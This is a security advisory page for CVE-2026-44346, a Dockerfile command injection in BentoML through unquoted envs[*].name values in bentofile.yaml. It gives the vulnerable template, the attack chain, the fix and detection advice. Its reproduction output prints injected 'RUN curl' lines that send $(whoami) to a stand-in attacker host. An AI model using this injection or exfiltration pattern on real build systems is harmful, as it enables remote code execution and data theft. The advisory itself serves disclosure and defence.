CVE-2026-44346: Dockerfile command injection via envs[*].name in bentofile.yaml (sibling fix-bypass of CVE-2026-33744 and CVE-2026-35043)
BentoML 1.4.38 and earlier writes envs[*].name from bentofile.yaml unquoted into the generated Dockerfile. A newline in that name injects RUN directives that run on the host during bentoml containerize. It bypasses earlier fixes that only covered system_packages. Fixed in bentoml 1.4.39.
Published May 11, 2026 · Updated Jun 8, 2026 · Analysis Oct 27, 2026
What an attacker can do
In base_v2.j2 the loop over __bento_envs__ writes ARG {{ env.name }} and ENV {{ env.name }}=${{ env.name }}. env.value goes through the bash_quote filter, but env.name is raw. The template is rendered by _bentoml_impl/docker.generate_dockerfile, the path bentoml containerize uses for modern services. A name with an embedded newline adds new Dockerfile lines. The reporter's proof of concept produced three injected RUN curl lines, one of which put the output of whoami in the request URL.
The attack chain is bento sharing. The attacker crafts a bentofile.yaml, exports the bento and distributes it by bucket, HTTP or a BentoCloud share. The victim imports it with bentoml import (no check of envs) and runs bentoml containerize. docker build or BuildKit then runs the injected commands on the build host.
The earlier CVE-2026-33744 and CVE-2026-35043 patches fixed only system_packages. This field was missed. The reporter verified it on 1.4.38 and thinks older 1.x versions with the v2 SDK path are likely affected too.
Who is affected
Affected: bentoml 1.4.38 and earlier (verified on 1.4.38; the reporter says likely all 1.x with _bentoml_impl/docker.py). Anyone who containerizes bentos from outside their control is exposed. Check:
pip show bentomlThen look at envs names in each imported bento's bentofile.yaml.
bentoml
- Ecosystem
- PyPI
- Affected
- <= 1.4.38
- Fixed in
- 1.4.39
- Check
pip show bentoml
How to fix it
Upgrade to bentoml 1.4.39:
pip install --upgrade bentoml==1.4.39The advisory suggests quoting env.name with bash_quote and adding a schema check in BentoEnvSchema that restricts names to ^[A-Za-z_][A-Za-z0-9_]*$. It does not confirm that 1.4.39 contains exactly that. No official workaround is listed. Until you upgrade, do not containerize bentos from untrusted sources.
How to tell if you were hit
Review envs in imported bentofile.yaml files for names with newlines or shell characters such as $(. Inspect generated Dockerfiles for ARG lines followed by unexpected RUN lines. In CI logs and network records, look for requests to unknown hosts, especially URLs that contain a username, during docker build.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
BentoML envs[*].name Dockerfile command injection — sibling of CVE-2026-33744 / CVE-2026-35043
A malicious bentofile.yaml containing a newline-injected value in envs[*].name produces unquoted RUN directives in the BentoML-generated Dockerfile. When the victim runs bentoml containerize on the imported bento, those RUN directives execute on the host during docker build. Verified end-to-end on bentoml==1.4.38.
Vulnerable code
src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:71-73:
{% for env in __bento_envs__ %}
{% set stage = env.stage | default("all") -%}
{% if stage != "runtime" -%}
ARG {{ env.name }}{% if env.value %}={{ env.value | bash_quote }}{% endif %}
ENV {{ env.name }}=${{ env.name }}
{% endif -%}
{% endfor %}env.value is bash-quoted via the bash_quote filter, but `env.name` is interpolated raw with no escaping or newline filtering. The template is rendered by _bentoml_impl/docker.generate_dockerfile (the v2 SDK Docker generation path used by bentoml containerize for modern services).
Sibling relationship to existing CVEs
The earlier patches addressed the same Dockerfile-command-injection class for a different bentofile field:
- CVE-2026-33744 / GHSA-jfjg-vc52-wqvf (2026-03-25): added
bash_quotetosystem_packagesinterpolation in Dockerfile templates andimages.py. - CVE-2026-35043 / GHSA-fgv4-6jr3-jgfw (2026-04-02): added
shlex.quotetosystem_packagesin the cloud deployment path (_internal/cloud/deployment.py:1648).
Both patches limit themselves to system_packages. The envs[*].name field is the same root-cause class (bentofile.yaml value flowing unquoted into a Dockerfile interpretation context) but was never included in the fix scope.
Reproduction
pip install bentoml==1.4.38
python verify_render.pyExpected:
[*] rendered Dockerfile size: 1789 bytes
[*] injected RUN lines: 3
RUN curl -fsSL http://attacker.example.com/$(whoami)=1
RUN curl -fsSL http://attacker.example.com/$(whoami)=$FOO
RUN curl -fsSL http://attacker.example.com/$(whoami)Each injected RUN line is a Dockerfile command that runs during docker build. With $(whoami) shell-substituted by Docker's RUN executor, the example payload exfiltrates the build host's username.
Threat model
- Attacker authors a malicious bento with a crafted
bentofile.yaml. - Attacker exports the bento (
.bentoor.tar.gz) and distributes (S3, HTTP, BentoCloud share, etc.). - Victim imports with
bentoml import bento.tar; no validation ofenvscontent. - Victim runs
bentoml containerizeto build the container image. - BentoML renders the Dockerfile with the attacker's
envsvalues, producing injectedRUNlines. docker build(or BuildKit) executes the injectedRUNcommands on the build host, achieving RCE in the victim's build environment.
The flow mirrors CVE-2026-33744 exactly, with envs substituted for system_packages.
Suggested fix
In base_v2.j2 lines 71-73, apply the bash_quote filter to env.name (and to the =$VAR reference in the ENV line, since the variable name itself is reused there):
ARG {{ env.name | bash_quote }}{% if env.value %}={{ env.value | bash_quote }}{% endif %}
ENV {{ env.name | bash_quote }}=${{ env.name | bash_quote }}Better, since env.name is semantically a Dockerfile identifier, validate at the schema level: in bentoml/_internal/bento/build_config.py:BentoEnvSchema, add an attr.validators.matches_re(r"^[A-Za-z_][A-Za-z0-9_]*$") to the name field so newline / shell-metacharacter values are rejected at config load.
Affected versions
- bentoml 1.4.38 (verified end-to-end)
- Likely all 1.x versions where
_bentoml_impl/docker.pyexists; the v2 SDK code path was added before the CVE-2026-33744 / CVE-2026-35043 patches and was not retroactively swept for siblings.
Disclosure
Requesting CVE assignment and GHSA publication. Available for additional repro under different distros / frontends, or for a PR with the suggested fix, on request.
PoC artifacts
Gated HF repo (request access): https://huggingface.co/mrw0r57/bentoml-envs-cmdinjection-poc
Credited to SSJCorpSec.
Questions
- How is this different from CVE-2026-33744?
The earlier fixes quoted system_packages. This flaw is the same class in a different field, envs[*].name, which the earlier patches never covered.
- Does a victim need to run something?
Yes. They import the bento and run bentoml containerize. The injected RUN lines execute during docker build.
- Is a fix available?
Yes. Upgrade to bentoml 1.4.39. Versions through 1.4.38 are affected.
- Is it exploited in the wild?
No source says so. The report is a researcher's proof of concept and the entry is not in CISA's KEV catalog.
References
Read for this analysis:
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More BentoML vulnerabilities
All BentoML entriesCVE-2026-44345
BentoML Dockerfile command injection via docker.base_image (sister of pending GHSA-w2pm-x38x-jp44 / CVE-2026-33744 / CVE-2026-35043)
high8.8May 11, 2026CVE-2026-40610
BentoML has Information Disclosure in `bentoml build` via symlink traversal in the build context
medium5.5May 7, 2026CVE-2026-35043
BentoML: Command Injection in cloud deployment setup script
high7.8Apr 3, 2026CVE-2026-35044
BentoML: SSTI via Unsandboxed Jinja2 in Dockerfile Generation
high8.8Apr 3, 2026CVE-2026-33744
BentoML has Dockerfile Command Injection via system_packages in bentofile.yaml
high7.8Mar 26, 2026CVE-2026-27905
BentoML Vulnerable to Arbitrary File Write via Symlink Path Traversal in Tar Extraction
high8.6Mar 3, 2026
